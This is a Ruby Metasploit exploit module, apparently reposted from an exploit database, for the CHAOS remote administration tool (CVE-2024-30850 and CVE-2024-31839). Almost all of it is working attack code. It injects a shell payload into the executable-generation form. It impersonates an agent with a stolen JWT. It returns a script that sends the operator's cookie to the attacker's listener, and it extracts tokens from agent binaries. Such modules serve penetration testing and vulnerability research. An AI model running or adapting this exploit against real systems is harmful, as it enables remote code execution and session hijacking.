Share
## https://sploitus.com/exploit?id=PACKETSTORM:178654
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Rex::Proto::Http::WebSocket  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Chaos RAT XSS to RCE',  
'Description' => %q{  
CHAOS v5.0.8 is a free and open-source Remote Administration Tool that  
allows generated binaries to control remote operating systems. The  
webapp contains a remote command execution vulnerability which  
can be triggered by an authenticated user when generating a new  
executable. The webapp also contains an XSS vulnerability within  
the view of a returned command being executed on an agent.  
  
Execution can happen through one of three routes:  
  
1. Provided credentials can be used to execute the RCE directly  
  
2. A JWT token from an agent can be provided to emulate a compromised  
host. If a logged in user attempts to execute a command on the host  
the returned value contains an xss payload.  
  
3. Similar to technique 2, an agent executable can be provided and the  
JWT token can be extracted.  
  
Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running  
in a docker container.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'chebuya' # original PoC, analysis  
],  
'References' => [  
[ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'],  
[ 'URL', 'https://github.com/tiagorlampert/CHAOS'],  
[ 'CVE', '2024-31839'], # XSS  
[ 'CVE', '2024-30850'] # RCE  
],  
'Platform' => ['linux', 'unix'],  
'Privileged' => false,  
'Payload' => { 'BadChars' => ' ' },  
'Arch' => ARCH_CMD,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DefaultOptions' => {  
'WfsDelay' => 3_600, # 1hr  
'URIPATH' => '/' # avoid long URLs in xss payloads  
},  
'DisclosureDate' => '2024-04-10',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ false, 'User to login with']), # admin  
OptString.new('PASSWORD', [ false, 'Password to login with']), # admin  
OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']),  
OptString.new('JWT', [ false, 'Agent JWT Token of the malware']),  
OptPath.new('AGENT', [ false, 'A Chaos Agent Binary'])  
]  
)  
register_advanced_options(  
[  
OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']),  
OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']),  
OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']),  
OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]),  
]  
)  
end  
  
def on_request_uri(cli, request)  
if request.method == 'GET' && @xss_response_received == false  
vprint_status('Received GET request.')  
return unless request.uri.include? '='  
  
cookie = request.uri.split('jwt=')[1]  
print_good("Received cookie: #{cookie}")  
send_response_html(cli, '')  
@xss_response_received = true  
list_agents(cookie)  
rce(cookie)  
end  
send_response_html(cli, '')  
end  
  
def mac_address  
@mac_address ||= Faker::Internet.mac_address  
@mac_address  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
)  
  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200  
  
return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>')  
  
CheckCode::Safe('Chaos application not found')  
end  
  
def login  
vprint_status('Attempting login')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'auth'),  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200  
res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || ''  
end  
  
def rce(cookie)  
data = Rex::MIME::Message.new  
  
data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"')  
data.add_part('8080', nil, nil, 'form-data; name="port"')  
data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux  
data.add_part('', nil, nil, 'form-data; name="filename"')  
data.add_part('false', nil, nil, 'form-data; name="run_hidden"')  
  
post_data = data.to_s  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'generate'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => "jwt=#{cookie}"  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200  
end  
  
def convert_to_int_array(string)  
string.bytes.to_a  
end  
  
# Retrieve the server's response and pull out the command response. The return value is  
# the server's response value (or 1 on failure).  
def recv_wsframe_status(wsock)  
res = wsock.get_wsframe  
return 1 unless res  
  
begin  
res_json = JSON.parse(res.payload_data)  
rescue JSON::ParserError  
fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')  
end  
command = res_json['command']  
return 1 if command.nil?  
  
command  
end  
  
def agent_command_handler(cookie)  
vprint_status('WebSocket connecting to receive commands')  
headers = {  
'Cookie' => "jwt=#{cookie}",  
'X-Client' => mac_address  
}  
  
wsock = connect_ws(  
'uri' => normalize_uri(target_uri.path, 'client'),  
'headers' => headers  
)  
  
start_time = Time.now.to_i  
command = 1  
while Time.now.to_i < start_time + datastore['WfsDelay']  
begin  
Timeout.timeout(datastore['WfsDelay']) do  
command = recv_wsframe_status(wsock)  
end  
rescue Timeout::Error  
command = 1  
end  
  
next if command == 1  
  
vprint_good("Received agent command '#{command}', sending XSS in return")  
  
data = {  
'client_id' => mac_address,  
# removed the rickroll from the PoC :(  
'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),  
'has_error' => false  
}  
wsock.put_wsbinary(JSON.generate(data))  
end  
print_status('Stopping WebSocket connection')  
end  
  
def agent_callback_checkin(cookie)  
start_time = Time.now.to_i  
while Time.now.to_i < start_time + datastore['WfsDelay']  
print_status('Performing Callback Checkin')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'health'),  
'cookie' => "jwt=#{cookie}"  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200  
  
body = {  
hostname: datastore['AGENT_HOSTNAME'],  
username: datastore['AGENT_USERNAME'],  
user_id: datastore['AGENT_USERID'],  
os_name: datastore['AGENT_OS'],  
os_arch: 'amd64',  
mac_address: mac_address,  
local_ip_address: datastore['SRVHOST'],  
port: datastore['SRVPORT'].to_s,  
fetched_unix: Time.now.to_i  
}  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'device'),  
'cookie' => "jwt=#{cookie}",  
'data' => body.to_json  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200  
Rex.sleep(30)  
end  
print_status('Stopping Callback Checkin')  
end  
  
def fake_agent(server_cookie)  
# start callback checkins and command handler  
@threads = []  
@threads << framework.threads.spawn('CHAOS-agent-callback', false) do  
agent_callback_checkin(server_cookie)  
end  
@threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do  
agent_command_handler(server_cookie)  
end  
@threads.map do |t|  
t.join  
rescue StandardError => e  
print_error("Error in CHAOS Rat Threads: #{e}")  
end  
end  
  
#  
# Handle the HTTP request and return a response. Code borrowed from:  
# msf/core/exploit/http/server.rb  
#  
def start_http_service(opts = {})  
# Start a new HTTP server  
@http_service = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
(opts['ServerPort'] || bindport).to_i,  
opts['ServerHost'] || bindhost,  
datastore['SSL'],  
{  
'Msf' => framework,  
'MsfExploit' => self  
},  
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),  
datastore['SSLCert'],  
datastore['SSLCompression'],  
datastore['SSLCipher'],  
datastore['SSLVersion']  
)  
@http_service.server_name = datastore['HTTP::server_name']  
# Default the procedure of the URI to on_request_uri if one isn't  
# provided.  
uopts = {  
'Proc' => method(:on_request_uri),  
'Path' => resource_uri  
}.update(opts['Uri'] || {})  
proto = (datastore['SSL'] ? 'https' : 'http')  
  
netloc = opts['ServerHost'] || bindhost  
http_srvport = (opts['ServerPort'] || bindport).to_i  
if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)  
if Rex::Socket.is_ipv6?(netloc)  
netloc = "[#{netloc}]:#{http_srvport}"  
else  
netloc = "#{netloc}:#{http_srvport}"  
end  
end  
print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}")  
  
# Add path to resource  
@service_path = uopts['Path']  
@http_service.add_resource(uopts['Path'], uopts)  
end  
  
def list_agents(cookie)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'devices'),  
'headers' => {  
'cookie' => "jwt=#{cookie}"  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
soup = Nokogiri::HTML(res.body)  
rows = soup.css('tr')  
  
agent_table = Rex::Text::Table.new(  
'Header' => 'Live Agents',  
'Indent' => 1,  
'Columns' =>  
[  
'IP',  
'OS',  
'Username',  
'Hostname',  
'MAC'  
]  
)  
  
rows.each do |row|  
cells = row.css('td')  
next if cells.length != 7  
  
agent_ip = cells[4].text.strip  
hostname = cells[1].text.strip  
  
agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]  
report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}")  
end  
print_good('Detected Agents')  
print_line(agent_table.to_s)  
end  
  
def exploit  
unless (datastore['USERNAME'] && datastore['PASSWORD']) ||  
datastore['JWT'] ||  
datastore['AGENT']  
fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')  
end  
fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0  
  
@xss_response_received = false  
  
if datastore['USERNAME'] && datastore['PASSWORD']  
print_status('Attempting exploitation through direct login')  
cookie = login  
rce(cookie)  
elsif datastore['JWT']  
print_status('Attempting exploitation through JWT token')  
vprint_status("Fake MAC for agent: #{mac_address}")  
start_http_service  
fake_agent(datastore['JWT'])  
elsif datastore['AGENT']  
print_status('Attempting exploitation through Agent')  
fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT'])  
agent_exe = File.read(datastore['AGENT'])  
if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/  
server_address = ::Regexp.last_match(1)  
vprint_status("Server address: #{server_address}")  
end  
  
if agent_exe =~ /main\.Port=(\d{1,6})/  
server_port = ::Regexp.last_match(1)  
vprint_status("Server port: #{server_port}")  
end  
  
if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)}  
server_cookie = ::Regexp.last_match(1)  
vprint_status("Server JWT Token: #{server_cookie}")  
end  
fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie  
vprint_status("Fake MAC for agent: #{mac_address}")  
start_http_service  
fake_agent(server_cookie)  
end  
end  
  
def cleanup  
# Clean and stop HTTP server  
if @http_service  
begin  
@http_service.remove_resource(datastore['URIPATH'])  
@http_service.deref  
@http_service.stop  
@http_service = nil  
rescue StandardError => e  
print_error("Failed to stop http server due to #{e}")  
end  
end  
@threads.each(&:kill) unless @threads.nil? # no need for these anymore  
super  
end  
end